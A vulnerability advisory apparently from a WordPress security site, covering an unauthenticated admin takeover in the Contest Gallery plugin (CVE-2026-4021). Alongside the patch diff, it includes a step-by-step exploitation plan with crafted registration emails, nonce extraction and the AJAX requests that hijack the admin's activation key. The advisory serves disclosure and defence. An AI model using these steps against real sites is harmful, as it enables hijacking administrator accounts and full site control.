Contest Gallery <= 28.1.5 - Unauthenticated Privilege Escalation Admin Account Takeover via Registration Confirmation Email-to-ID Type Confusion
Description
The Contest Gallery plugin for WordPress is vulnerable to an authentication bypass leading to admin account takeover in all versions up to, and including, 28.1.5. This is due to the email confirmation handler in `users-registry-check-after-email-or-pin-confirmation.php` using the user's email string in a `WHERE ID = %s` clause instead of the numeric user ID, combined with an unauthenticated key-based login endpoint in `ajax-functions-frontend.php`. When the non-default `RegMailOptional=1` setting is enabled, an attacker can register with a crafted email starting with the target user ID (e.g., `1poc@example.test`), trigger the confirmation flow to overwrite the admin's `user_activation_key` via MySQL integer coercion, and then use the `post_cg1l_login_user_by_key` AJAX action to authenticate as the admin without any credentials. This makes it possible for unauthenticated attackers to take over any WordPress administrator account and gain full site control.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=28.1.5What Changed in the Fix
Changes introduced in v28.1.6
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-4021 - Contest Gallery Admin Takeover ## 1. Vulnerability Summary The **Contest Gallery** plugin (up to 28.1.5) contains a critical improper authentication vulnerability. The flaw exists in the email confirmation handler (`users-registry-check-after-email-or-p…
Show full research plan
Exploitation Research Plan: CVE-2026-4021 - Contest Gallery Admin Takeover
1. Vulnerability Summary
The Contest Gallery plugin (up to 28.1.5) contains a critical improper authentication vulnerability. The flaw exists in the email confirmation handler (users-registry-check-after-email-or-pin-confirmation.php), where a user-provided email string is used in a database query's WHERE ID = %s clause.
Due to MySQL's integer coercion, a string like 1attacker@example.com compared against an integer ID column is treated as 1. When the optional setting RegMailOptional=1 is enabled, an unauthenticated attacker can register an account with a specially crafted email starting with the target administrator's ID (typically 1). By triggering the email confirmation flow, the plugin inadvertently updates the user_activation_key for the administrator. The attacker can then use this key with the unauthenticated AJAX action post_cg1l_login_user_by_key to log in as the administrator.
2. Attack Vector Analysis
- Target Endpoint:
admin-ajax.php - Vulnerable Action 1 (Trigger): Registration/Confirmation flow (likely involves
post_cg_registry_save_user_dataor a direct GET request to a confirmation page). - Vulnerable Action 2 (Login):
wp_ajax_nopriv_post_cg1l_login_user_by_key. - Payload Parameter:
cglKey(The activation key) and registration email (e.g.,1[random]@example.com). - Authentication Level: Unauthenticated.
- Preconditions:
RegMailOptional=1must be enabled in plugin settings.- A registration form must be active (usually via shortcode
[cg_users_reg]).
3. Code Flow
- Registration: The attacker submits a registration form via
post_cg_registry_save_user_data. - Confirmation Trigger: The attacker accesses the confirmation link. The plugin loads
users-registry-check-after-email-or-pin-confirmation.php. - SQL Injection/Type Confusion: The confirmation code performs an update:
UPDATE wp_users SET user_activation_key = %s WHERE ID = %s
The second parameter is the user's email (e.g.,1attacker@example.com). MySQL coerces this to1. - Key Overwrite: The administrator's (ID 1)
user_activation_keyis now set to a value known or controlled by the attacker. - Authentication Bypass:
- The attacker calls
post_cg1l_login_user_by_keyinajax-functions-frontend.php. - The function verifies the provided
cglKeyagainst theuserstable:$userRow = $wpdb->get_row($wpdb->prepare("SELECT * FROM {$wpdb->users} WHERE user_activation_key = %s", $activation_key)); - Since the Admin's key was overwritten, the query returns the Admin user object.
- The plugin proceeds to call
wp_set_auth_cookie($userRow->ID)(inferred login logic).
- The attacker calls
4. Nonce Acquisition Strategy
The post_cg1l_login_user_by_key function calls cg_check_frontend_nonce(), which expects a nonce for the action cg1l_action.
- Identify Shortcode: The registration and login forms are typically rendered via shortcodes like
[cg_users_reg]or[cg_users_login]. - Create Page: Create a temporary page to load the plugin's environment.
wp post create --post_type=page --post_status=publish --post_title="Login" --post_content='[cg_users_login]' - Extract Nonce: Navigate to the page and extract the nonce from the global JavaScript object
cgJsClass.- JS Variable:
window.cgJsClass.gallery.vars.currentCgNonce(based onpost_cg1l_current_frontend_nonceinajax-functions-frontend.php). - Tool:
browser_eval("window.cgJsClass.gallery.vars.currentCgNonce").
- JS Variable:
5. Exploitation Strategy
Step 1: Pre-requisite Configuration
Ensure the vulnerable setting is enabled via WP-CLI:
wp option update RegMailOptional 1
Step 2: Extract Nonce and Gallery ID
- Create a page with a gallery/login shortcode.
- Visit the page and identify a valid Gallery ID (
gid). - Extract the
cg1l_actionnonce.
Step 3: Registration and Key Hijack
Register an account with an email starting with 1.
- Request:
POST /wp-admin/admin-ajax.php - Parameters:
action:post_cg_registry_save_user_data(or the specific registration handler found in source).email:1poc@example.testgid:[GALLERY_ID]_ajax_nonce:[NONCE]
Trigger the confirmation. The confirmation logic usually expects a key generated during registration. If RegMailOptional=1, the key might be predictable or returned in the response.
- Request:
GET /?cg_verify_email=1&user_email=1poc@example.test&key=[OBTAINED_KEY]
Step 4: Login as Admin
Use the activation key to authenticate as the administrator (ID 1).
- Request:
POST /wp-admin/admin-ajax.php - Body (URL-encoded):
action=post_cg1l_login_user_by_key&cgl_gid=[GALLERY_ID]&cglKey=[OBTAINED_KEY]&_ajax_nonce=[NONCE]
6. Test Data Setup
- Target User: Ensure a user with ID 1 exists (default admin).
- Plugin Setup:
wp plugin activate contest-gallery wp option update RegMailOptional 1 # Create a gallery to obtain a valid GID wp eval "global \$wpdb; \$wpdb->insert(\"{\$wpdb->prefix}contest_gal1ery_options\", ['GalleryName' => 'Exploit']);" GID=$(wp db query "SELECT id FROM wp_contest_gal1ery_options ORDER BY id DESC LIMIT 1" --silent --skip-column-names) wp post create --post_type=page --post_status=publish --post_content="[cg_gallery id=$GID]"
7. Expected Results
- The confirmation request should complete successfully.
- The
post_cg1l_login_user_by_keyrequest should return a successful login response (likely a redirect or a JSON success message). - The response headers should contain
Set-Cookiefor a logged-in Administrator session.
8. Verification Steps
- Check Key Overwrite:
Verify thewp db query "SELECT ID, user_login, user_activation_key FROM wp_users WHERE ID = 1"user_activation_keymatches the one used in the exploit. - Check Authentication:
Use the returned cookies from thehttp_requesttool to access/wp-admin/and verify access to the dashboard.
9. Alternative Approaches
- Direct Key Discovery: If registration returns the key directly in the AJAX response or the confirmation link is visible in the
wp_optionsor a log table (likecontest_gal1ery_logsif it exists), skip email interception. - Gallery ID 9999999: Note the special logic in
post_cg_galleries_show_cg_gallerywheregidToShow=9999999fetches the latest gallery ID. This might be useful for automated discovery of thegid. - Registration Form Fields: If registration fails, verify required fields via
wp db query "SELECT * FROM wp_contest_gal1ery_create_user_form WHERE GalleryID = $GID".
Summary
The Contest Gallery plugin is vulnerable to an unauthenticated administrative account takeover due to a type confusion flaw in its registration confirmation logic and an insecure authentication endpoint. When registration confirmation is enabled, an attacker can register with a crafted email address starting with an administrator's user ID (e.g., '1attacker@example.com'), which causes the confirmation process to overwrite the administrator's activation key due to MySQL integer coercion. The attacker can then use this key to authenticate as the administrator via a vulnerable AJAX action.
Vulnerable Code
// ajax/ajax-functions-frontend.php (approx. line 204 in 28.1.5) add_action('wp_ajax_nopriv_post_cg1l_login_user_by_key', 'post_cg1l_login_user_by_key'); if (!function_exists('post_cg1l_login_user_by_key')) { function post_cg1l_login_user_by_key() { if (defined('DOING_AJAX') && DOING_AJAX) { cg_check_frontend_nonce(); global $wpdb; $tablename = $wpdb->prefix . "contest_gal1ery"; $gid = absint($_POST['cgl_gid']); $activation_key = sanitize_text_field($_POST['cglKey']); if(empty($activation_key)){ exit(); } $userRow = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM {$wpdb->users} WHERE user_activation_key = %s", $activation_key ) ); if ( !empty($userRow)) { $wpNickname = $userRow->display_name; $WpUserEmail = $userRow->user_email; $WpUserId = $userRow->ID; wp_set_auth_cookie( $WpUserId,true );
Security Fix
@@ -186,10 +186,12 @@ $WpUserId = absint($_POST['cgJustLoggedInWpUserId']); $cgGetLoggedInFrontendUserKey = sanitize_text_field($_POST['cgGetLoggedInFrontendUserKey']); $cgGetLoggedInFrontendUserKeyToCompare = get_user_meta( $WpUserId,'cgGetLoggedInFrontendUserKey',true); - if(!empty($cgGetLoggedInFrontendUserKeyToCompare) && $cgGetLoggedInFrontendUserKeyToCompare == $cgGetLoggedInFrontendUserKey){ + if(!empty($cgGetLoggedInFrontendUserKeyToCompare) && hash_equals((string)$cgGetLoggedInFrontendUserKeyToCompare, (string)$cgGetLoggedInFrontendUserKey)){ ?> <script data-cg-processing-current-nonce="true"> cgJsClass.gallery.vars.currentCgNonce = <?php echo json_encode(wp_create_nonce('cg1l_action')); ?>; + cgJsClass.gallery.vars.cgGetLoggedInFrontendUserKey = ''; + cgJsClass.gallery.vars.cgJustLoggedInWpUserId = ''; </script> <?php delete_user_meta( $WpUserId,'cgGetLoggedInFrontendUserKey'); @@ -210,22 +212,20 @@ global $wpdb; $tablename = $wpdb->prefix . "contest_gal1ery"; $gid = absint($_POST['cgl_gid']); - $activation_key = sanitize_text_field($_POST['cglKey']); - if(empty($activation_key)){ + $WpUserId = absint($_POST['cgJustLoggedInWpUserId']); + $cgGetLoggedInFrontendUserKey = sanitize_text_field($_POST['cglKey']); + if(empty($WpUserId) || empty($cgGetLoggedInFrontendUserKey)){ + exit(); + } + $cgGetLoggedInFrontendUserKeyToCompare = get_user_meta( $WpUserId,'cgGetLoggedInFrontendUserKey',true); + if(!empty($cgGetLoggedInFrontendUserKeyToCompare) && hash_equals((string)$cgGetLoggedInFrontendUserKeyToCompare, (string)$cgGetLoggedInFrontendUserKey)){ + $userRow = get_userdata($WpUserId); + if(empty($userRow)){ exit(); } - $userRow = $wpdb->get_row( - $wpdb->prepare( - "SELECT * - FROM {$wpdb->users} - WHERE user_activation_key = %s", - $activation_key - ) - ); - if ( !empty($userRow)) { $wpNickname = $userRow->display_name; $WpUserEmail = $userRow->user_email; - $WpUserId = $userRow->ID; + wp_set_current_user($WpUserId); wp_set_auth_cookie( $WpUserId,true );
Exploit Outline
1. **Identify Environment**: Locate a page with the Contest Gallery registration shortcode and extract a valid `cg1l_action` nonce and Gallery ID (`gid`). 2. **Craft Payload**: Register a new user using the `post_cg_registry_save_user_data` AJAX action, providing an email that starts with the target administrator's ID (e.g., `1hacker@example.com` for ID 1). 3. **Overwrite Admin Key**: Trigger the registration confirmation flow. The plugin uses the email string in an SQL query `WHERE ID = %s`. Because the target `ID` is an integer, MySQL coerces the string `1hacker...` to the integer `1`, causing the update to set the `user_activation_key` for the administrator (ID 1) instead of the new user. 4. **Authenticate as Admin**: Invoke the `post_cg1l_login_user_by_key` AJAX action using the hijacked `user_activation_key` in the `cglKey` parameter. 5. **Gain Control**: The plugin retrieves the user object associated with the key (the admin) and calls `wp_set_auth_cookie()`, granting the attacker a valid administrator session.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.